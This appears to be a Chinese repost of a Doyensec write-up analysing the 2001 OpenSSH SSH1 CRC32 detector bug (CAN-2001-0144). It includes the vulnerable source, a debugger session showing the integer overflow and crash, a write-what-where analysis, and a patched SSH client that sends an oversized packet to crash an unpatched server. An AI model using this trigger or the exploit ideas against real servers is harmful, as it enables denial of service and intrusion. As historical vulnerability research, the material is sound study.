!exploitable Episode Two - Enter the Matrix
引言
如果你刚刚开始关注,Doyensec 团队正在地中海的一艘游轮上度假。放松身心,与同事交流,享受乐趣。第一部分 讲述了我们在 IoT ARM 漏洞利用方面的探索,而接下来的博客文章将在几周后发布,将涉及一个 Web 目标。在本期中,我们尝试利用有史以来最著名的漏洞之一——2001 年的 SSHNuke。更广为人知的是,这是电影《黑客帝国:重装上阵》中 Trinity 使用的漏洞利用程序。
历史背景
早在 1998 年,Ariel Futoransky 和 Emiliano Kargieman 就意识到 SSH 协议存在根本性缺陷,因为可以注入密文。因此添加了 crc32 校验和来检测这种攻击。
2001 年 2 月 8 日,Michal Zalewski 在 Bugtraq 邮件列表上发布了一份名为 "SSH 守护进程 crc32 补偿攻击检测器中的远程漏洞" 的公告,编号为 CAN-2001-0144(CAN 即 CVE 候选)(参考)。这个 "crc32" 存在一个独特的内存破坏漏洞,可能导致任意代码执行。
2001 年 6 月后不久,TESO Security 发布了一份关于他们编写的漏洞利用程序泄露的声明。这很有趣,因为它表明直到 6 月份还没有可靠的公开漏洞利用程序。TESO 知道 6 个私有的漏洞利用程序,包括他们自己的。
值得注意的是,第一个针对内存破坏的主要操作系统级缓解措施(ASLR)直到当年 7 月才发布 (历史)。缺乏漏洞利用程序可能源于这个漏洞的新颖性。
《黑客帝国:重装上阵》于 2001 年 3 月开始拍摄,并于 2003 年 5 月上映。令人印象深刻的是,他们为这部电影选择了来自当今最著名黑客之一的惊人漏洞。
亲自尝试
构建漏洞利用环境充其量是无聊的。在海上,没有互联网,尝试构建一个 20 年前的软件简直是噩梦。因此,在我们团队的一些成员处理这个问题时,我们将漏洞移植到了一个独立的 main.c
文件中,任何人都可以在任何现代(甚至旧)系统上轻松构建。
欢迎从 github 获取代码,使用 gcc -g main.c
编译并跟随操作。
漏洞分析
这是你尝试自己发现漏洞的最后机会。漏洞的核心在以下源代码中。
来自:src/deattack.c:82 - 109
/* Detect a crc32 compensation attack on a packet */intdetect_attack(unsignedchar *buf, u_int32_t len, unsignedchar *IV){staticu_int16_t *h = (u_int16_t *) NULL;staticu_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; // DOYEN 0x1000registeru_int32_t i, j;u_int32_t l;registerunsignedchar *c;unsignedchar *d;if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // DOYEN len > 0x40000 len % SSH_BLOCKSIZE != 0) { // DOYEN len % 8 fatal("detect_attack: bad length %d", len); }for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) ;if (h == NULL) { debug("Installing crc compensation attack detector."); n = l; h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); } else {if (l > n) { n = l; h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE); } }
这段代码确保 h
缓冲区及其大小 n
得到正确管理。这段代码至关重要,因为它会处理每条加密消息。为了防止重新分配,h
和 n
被声明为 static
。xmalloc
会在第一次调用时为 h
初始化内存。后续调用会测试 len
是否超出了 n
的处理能力 - 如果是,则会执行 xrealloc
。
你发现漏洞了吗?我首先想到的是 xmalloc(n * HASH_ENTRYSIZE)
或其对应的 xrealloc(h, n * HASH_ENTRYSIZE)
中的整数溢出。这是错误的!由于对 n
的限制,这些值不会发生溢出。然而,这些限制最终成为了真正的漏洞。我很好奇 Zalewski 是否也走了这条路。
变量 n
在早期声明(遵循 C99 规范)为 16 位值(static u_int16_t
),而 l
是 32 位(u_int32_t
)。因此,如果 l
大于 0xffff,在 n = l
时可能会发生整数溢出。我们能让 l
大到足以溢出吗?
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) ;
这行晦涩的代码是我们设置 l
的唯一机会。它首先将 l
设置为 n
。记住 n
代表 h
的静态大小。因此 l
就像一个临时变量,用于判断 n
是否需要调整。每次 for 循环运行时,l
都会左移 2 位(l << 2
)。这实际上每次迭代都将 l
乘以 4。我们知道 l
初始值为 0x1000,因此经过一次循环后它将变为 0x4000。再经过一次循环,它将变为 0x10000。这个 0x10000 值转换为 u_int16_t
类型时会发生溢出,结果为 0。因此 n
的所有可能值为 0x1000、0x4000 和 0。上述循环的任何进一步迭代都会将 0 位移为 0。
当 l < HASH_FACTOR(len / SSH_BLOCKSIZE)
时,循环会继续运行。HASH_FACTOR
宏只是将 len
乘以 3/2
。因此通过一些计算我们可以知道,len
需要达到 0x15560 或更大,才能使循环运行两次。我们可以通过在 main.c
中添加以下代码来验证这一点(或者使用 git 仓库的 cheat 分支)。
intmain(){size_t len = 0x15560; unsignedchar *buf = malloc (len);memset(buf, 'A', len);// call to vulnerable functionint i = detect_attack(buf, len, NULL);free (buf);printf("returned %dn", i);return0;}
然后在我们的 Mac 上使用 lldb 进行调试。
$ gcc -g main.c$ lldb ./a.out(lldb) target create "./a.out"Current executable set to 'a.out' (arm64).(lldb) source list -n detect_attackFile: main.c... 165 int 166 detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV) 167 { 168 static u_int16_t *h = (u_int16_t *) NULL; 169 static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; 170 register u_int32_t i, j; 171 u_int32_t l;(lldb) 172 register unsigned char *c; 173 unsigned char *d; 174 175 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || 176 len % SSH_BLOCKSIZE != 0) { 177 fatal("detect_attack: bad length %d", len); 178 } 179 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) 180 ; 181 182 if (h == NULL) {(lldb)(lldb) b 182Breakpoint 1: where = a.out`detect_attack + 200 at main.c:182:6, address = 0x0000000100003954(lldb) rProcess 7691 launched: 'a.out' (arm64)Process 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000100003954 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAA.... 179 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) 180 ; 181-> 182 if (h == NULL) { 183 debug("Installing crc compensation attack detector."); 184 n = l; 185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);Target 0: (a.out) stopped.(lldb) p/x l(u_int32_t) 0x00010000(lldb) p/x l & 0xffff(u_int32_t) 0x00000000(lldb) nProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = step over frame #0: 0x0000000100003970 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAA... 180 ; 181 182 if (h == NULL) {-> 183 debug("Installing crc compensation attack detector."); 184 n = l; 185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); 186 } else {Target 0: (a.out) stopped.(lldb) nProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = step over frame #0: 0x0000000100003974 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAA... 181 182 if (h == NULL) { 183 debug("Installing crc compensation attack detector.");-> 184 n = l; 185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); 186 } else { 187 if (l > n) {Target 0: (a.out) stopped.(lldb) nProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = step over frame #0: 0x0000000100003980 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAA... 182 if (h == NULL) { 183 debug("Installing crc compensation attack detector."); 184 n = l;-> 185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); 186 } else { 187 if (l > n) { 188 n = l;Target 0: (a.out) stopped.(lldb) p/x n(u_int16_t) 0x0000
上面的最后一行显示在n = l
之后,n
的值为 0。如果我们继续执行代码,这个值的重要性很快就会显现出来。
(lldb) cProcess 7691 resumingProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x600082d68282) frame #0: 0x0000000100003c78 a.out`detect_attack(buf="AAAAA... 215 h[HASH(IV) & (n - 1)] = HASH_IV; 216 217 for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {-> 218 for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; 219 i = (i + 1) & (n - 1)) { 220 if (h[i] == HASH_IV) { 221 if (!CMP(c, IV)) {Target 0: (a.out) stopped.(lldb) p/x i(u_int32_t) 0x41414141(lldb) p/x h[i]error: Couldn't apply expression side effects : Couldn't dematerialize a result variable: couldn't read its memory
我们得到了一个崩溃,显示我们注入的A
字符为 0x41414141。
就在我们经过一些美丽岛屿的时候。
崩溃分析
崩溃发生的原因是检查h[0x41414141] != HASH_UNUSED
([0]处)时访问了无效内存。
来源:src/deattack.c:135 - 153
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {for (i = HASH(c) & (n - 1); h[i] /*<- [0]*/ != HASH_UNUSED; i = (i + 1) & (n - 1)) {if (h[i] == HASH_IV) {if (!CMP(c, IV)) {if (check_crc(c, buf, len, IV))return (DEATTACK_DETECTED);elsebreak; } } elseif (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {if (check_crc(c, buf, len, IV))return (DEATTACK_DETECTED);elsebreak; } } h[i] = j; // [1] arbitrary write!!! }
如果h[i]
是一个可读的偏移量会怎样?经过一些检查后,我们会到达[1]处,即h[i] = j
。注意j
是循环的迭代次数,我们可以通过控制缓冲区长度来控制它。而i
是我们的 0x41414141,我们也可以控制它。因此,我们最终在循环中获得了一个 write-what-where(任意地址写)原语。
使真实系统崩溃
此时,我们已经设置好了一个正常运行的 OpenSSH 服务器。我们需要通过 SSH 协议 1 发送我们的缓冲区。我们找不到一个能够与如此过时且存在问题的协议兼容的 SSH Python 客户端。原本的解决方案是修改 OpenSSH 的加密部分,使其成为一个简单的 socket 连接。但我们选择修改了源代码中自带的 OpenSSH 客户端。似乎真正的漏洞利用作者可能也采取了类似的方法。
通过一个小技巧,我们很容易找到了需要修改的位置。使用gdb
在 SSH 服务器应用程序中的漏洞函数detect_attack
处设置断点。然后使用gdb
调试连接到服务器的客户端。服务器会在断点处挂起,导致客户端也挂起,等待服务器对数据包的响应。在客户端中按下 Ctrl+C,我们就会到达处理发送到服务器的第一个漏洞数据包的响应处理程序处。因此,我们做出了以下修改。
来自:sshconnect1.c:873 - 890
{// DOYENSEC// Builds a packet to exploit server packet_start(SSH_MSG_IGNORE); // Should do nothingint dsize = 0x15560 - 0x10; // -0x10 b/c they add crc for uschar *buf = malloc (dsize);memset(buf, 'A', dsize - 1); buf[dsize] = 'x00'; packet_put_string(buf, dsize); packet_send(); packet_write_wait(); }/* Send the name of the user to log in as on the server. */ packet_start(SSH_CMSG_USER); packet_put_string(server_user, strlen(server_user)); packet_send(); packet_write_wait();
运行这个修补后的客户端得到了与main.c
中相同的崩溃结果。
接下来该怎么做
理解这个漏洞利用原语存在许多弱点非常重要。
h
缓冲区是一个u_int16_t *
类型。在小端系统中,你无法向(char *)h + 0
写入任意值。除非你设置了j
的高位。要能够设置j
的所有高位,你需要能够循环 0x10000 次。
来自:src/deattack.c:135
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
该循环每次处理 8 字节(SSH_BLOCKSIZE
)来递增j
一次。我们需要一个大小为 0x80000 的缓冲区来实现这一点。以下检查限制我们只能写入所有可能的j
值的一半。
来自:src/deattack.c:93 - 96
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // len > 0x40000 len % SSH_BLOCKSIZE != 0) { fatal("detect_attack: bad length %d", len); }
此外,如果你想在两个位置写入相同的值,你必须在没有崩溃的情况下调用漏洞函数两次。但一旦你将static
变量n
设置为 0,在下一次重新进入时它将保持为 0。这将导致l
位移循环无限循环。无论尝试多少次,对 0 进行位移操作都无法使其足够大以处理你的缓冲区长度。你可以通过使用任意写操作将n
设置为任何具有单个位设置的值(即 0x1、0x2、0x4...)来绕过这个问题。如果你使用其他值(即 0x3),则循环的数学计算可能会有所不同。
这些甚至还没有考虑到detect_attack
函数之外等待的挑战。如果校验和失败,你会失去会话吗?如果密文(即你的缓冲区)解密失败会发生什么?
所有这些都会影响你选择实现 RCE(远程代码执行)的路径。Trinity 的漏洞利用程序用新的任意字符串覆盖了 root 密码。也许这是通过将记录器指向/etc/passwd
来实现的?与 shellcode 相比,这有什么优势?或者破坏认证流程,直接将"is authenticated"位从 false 翻转为 true?你能覆盖内存中的客户端公钥,使其 RSA 指数为 0 吗?有这么多有趣的选项可以尝试。你能制作一个绕过 ASLR(地址空间布局随机化)的漏洞利用程序吗?
结论
我们的目标是使打过补丁的 OpenSSH 崩溃。考虑到可用的时间和资源,我们超出了自己的预期,成功控制了未打补丁的 OpenSSH 使其崩溃。这要归功于团队合作和漏洞利用过程中的创造性时间节省。在整个过程中有大量的理论构建,帮助我们避免了时间陷阱。最重要的是,整个过程充满了乐趣。
原文始发于微信公众号(securitainment):漏洞利用 第二集 - 进入矩阵
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论